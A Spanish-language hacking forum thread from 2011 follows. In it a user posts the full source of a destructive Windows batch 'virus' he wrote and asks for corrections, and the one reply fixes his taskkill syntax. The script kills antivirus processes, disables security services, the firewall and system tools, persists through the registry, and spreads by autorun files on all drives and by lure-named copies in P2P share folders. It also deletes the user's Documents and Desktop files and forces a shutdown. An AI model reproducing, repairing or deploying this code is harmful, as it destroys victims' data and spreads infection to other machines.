Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: W4rR3d en 10 Febrero 2011, 16:33 pm


Título: [BATCH] virus informatico viruela.exe
Publicado por: W4rR3d en 10 Febrero 2011, 16:33 pm
 hacked by W4rR3d los mejores hackers Piura -Peru
si ven un error en mis lineas de codigo de mi virus informatico viruela.exe por favor notifinquela.
Código
  1. @echo off
  2. msg * hacked by -={W4rR3d}=-
  3. :: este virus fue creado por hacked by  W4rR3d
  4. :: este virus esta dedicado a la comunidad hacker piura- peru
  5. :: este virus informatico se llama viruela.exe
  6. taskkill /f /im  egui.exe  /im  nod32kui.exe /im nod32krn.exe 
  7. taskkill /f/im "explorer.exe" /im "teatimer.exe"/im "taskmgr.exe">nul 2>&1
  8. net stop "Security Center"
  9. net stop SharedAccess
  10. net stop "Firewall de Windows/Conexion compartida a Internet (ICS)"
  11. net stop "Actualizaciones automáticas"
  12. net stop "Centro de seguridad"
  13. net stop "Conexiones de red"
  14. net stop "Windows Installer"
  15. net stop "Servicios IPSEC" 
  16. netsh firewall set opmode mode=disable
  17. start /MAX %homedrive%\boot.ini & rundll32 user32.dll,SwapMouseButton
  18. REG ADD "HKCR\batfile\DefaultIcon" /ve /d "%SystemRoot%\System32\shell32.dll,3" /f
  19. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  20. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f 
  21. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f 
  22. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f 
  23. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f 
  24. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f 
  25. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWindowsUpdate /t REG_DWORD /d 1 /f 
  26. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSetTaskbar /t REG_DWORD /d 1 /f 
  27. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f 
  28. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
  29. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
  30. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  31. for /F %%v in (VistaKeygen,EmoticonesMSN,SerialOffice2007,ParisXXXPhotos,MSMemoticon,FreeXXXPhotos,Office2007) do (call :p2p %%v)
  32. copy /y %0 "%homedrive%\viruela.exe"
  33. reg add hklm\software\microsoft\windows\currentversion\run /v viruela /t reg_sz /d %homedrive%\viruela.exe /f
  34. for %%E In (C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) Do (
  35. copy /Y %0 %%E:\viruela.exe
  36. echo.[AutoRun]>> %%E:\autorun.inf
  37. echo.open="%%E:\viruela.exe">> %%E:\autorun.inf
  38. echo.action=Open folder to see files...>> %%E:\autorun.inf
  39. attrib +r +s +h %%E:\autorun.inf
  40. attrib +r +s +h %%E:\viruela.exe
  41. :th
  42. echo On Error Resume Next >> %homedrive%\abrir.vbs
  43. echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> %homedrive%\abrir.vbs
  44. echo Set colCDROMs = oWMP.cdromCollection >> %homedrive%\abrir.vbs
  45. echo. >> %homedrive%\abrir.vbs
  46. echo if colCDROMs.Count >= 1 then >> %homedrive%\abrir.vbs
  47. echo          For i = 0 to colCDROMs.Count - 1 >> %homedrive%\abrir.vbs
  48. echo                   colCDROMs.Item(i).Eject >> %homedrive%\abrir.vbs
  49. echo          Next    ' cdrom >> %homedrive%\abrir.vbs
  50. echo End If >> %homedrive%\abrir.vbs
  51. attrib +r +s +h %homedrive%\abrir.vbs
  52. start %homedrive%\abrir.vbs
  53. :ht
  54. echo On Error Resume Next >> %homedrive%\apagar.vbs
  55. echo set shell = CreateObject("WScript.Shell") >> %homedrive%\apagar.vbs
  56. echo shell.run "shutdown.exe -s  -t 10" >> %homedrive%\apagar.vbs
  57. start >> %homedrive%\apagar.vbs
  58. :erar
  59. DEL /Q /F /S "%systemdrive%\Documents and Settings\%USERNAME%\Mis documentos\*.*"
  60. DEL /Q /F /S "%systemdrive%\Documents and Settings\%USERNAME%\Escritorio\*.*"
  61. echo -={W4rR3d_by_hacked}=- >> "%systemdrive%\Documents and Settings\%USERNAME%\Escritorio\-={W4rR3d_by_hacked}=-.RAR.EXE"
  62. echo -={W4rR3d_by_hacked}=- >> "%systemdrive%\Documents and Settings\%USERNAME%\Mis documentos\-={W4rR3d_by_hacked}=-.RAR.EXE"
  63. :p2p
  64. set war=%0
  65. set var=%1
  66. copy %war% "%programfiles%\Grokster\My Grokster\%var%.bat"
  67. copy %war% "%programfiles%\Morpheus\My Shared Folder\%var%.bat"
  68. copy %war% "%programfiles%\ICQ\shared files\%var%.bat"
  69. copy %war% "%programfiles%\KaZaA\My Shared Folder\%var%.bat"
  70. copy %war% "%programfiles%\KaZaA Lite\My Shared Folder\%var%.bat"
  71. copy %war% "%programfiles%\EDONKEY2000\incoming\%var%.bat"
  72. copy %war% "%programfiles%\eMule\Incoming\%var%.bat"
  73. copy %war% "%programfiles%\Filetopia3\Files\%var%.bat"
  74. copy %war% "%programfiles%\appleJuice\incoming\%var%.bat"
  75. copy %war% "%programfiles%\Gnucleus\Downloads\%var%.bat"
  76. copy %war% "%programfiles%\LimeWire\Shared\%var%.bat"
  77. copy %war% "%programfiles%\Overnet\incoming\%var%.bat"
  78. copy %war% "%programfiles%\Shareaza\Downloads\%var%.bat"
  79. copy %war% "%programfiles%\Swaptor\Download\%var%.bat"
  80. copy %war% "%programfiles%\WinMX\My Shared Folder\%var%.bat"
  81. copy %war% "%programfiles%\Tesla\Files\%var%.bat"
  82. copy %war% "%programfiles%\XoloX\Downloads\%var%.bat"
  83. copy %war% "%programfiles%\Rapigator\Share\%var%.bat"
  84. copy %war% "%programfiles%\KMD\My Shared Folder\%var%.bat"
  85. copy %war% "%programfiles%\BearShare\Shared\%var%.bat"
  86. copy %war% "%programfiles%\Direct Connect\Received Files\%var%.bat"
  87. copy %war% "%appdata%\Ares\My Shared Folder\%var%.bat"
  88. echo Msgbox "hallen la cura adecuada para combatir el virus V1ru3l4", vbcritical, "Windows" >> %systemdrive%\viruela.vbs
  89. For /L %%a IN (0,1,1000) DO start %systemdrive%\viruela.vbs
  90. start /MiN %homedrive%\boot.ini & rundll32 user32.dll,SwapMouseButton
  91. goto :eof





Título: Re: virus informatico viruela.exe
Publicado por: SuperDraco en 10 Febrero 2011, 17:43 pm
taskkill /im  egui.exe/f >nul 2>&1
taskkill/f /im  explorer.exe/f>nul 2>&1/im || firefox.exe>nul 2>&1
taskkill /f/im "explorer.exe /im "teatimer.exe"/im "taskmgr.exe">nul 2>&1


siempre lo mismo men eso no te va a funcionar bien ni a la de 3, porque no te paras a mirar como escribir bien los parametros de taskill haciendo un:

Código:
taskkill /?
por ejemplo para cerrar el "egui.exe" tienes que dejar un espacio así: "egui.exe /f"

por otro lado, que le pases el taskill al firefox.exe no le veo lógica alguna, pero que me corrigan si me equivoco.





Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines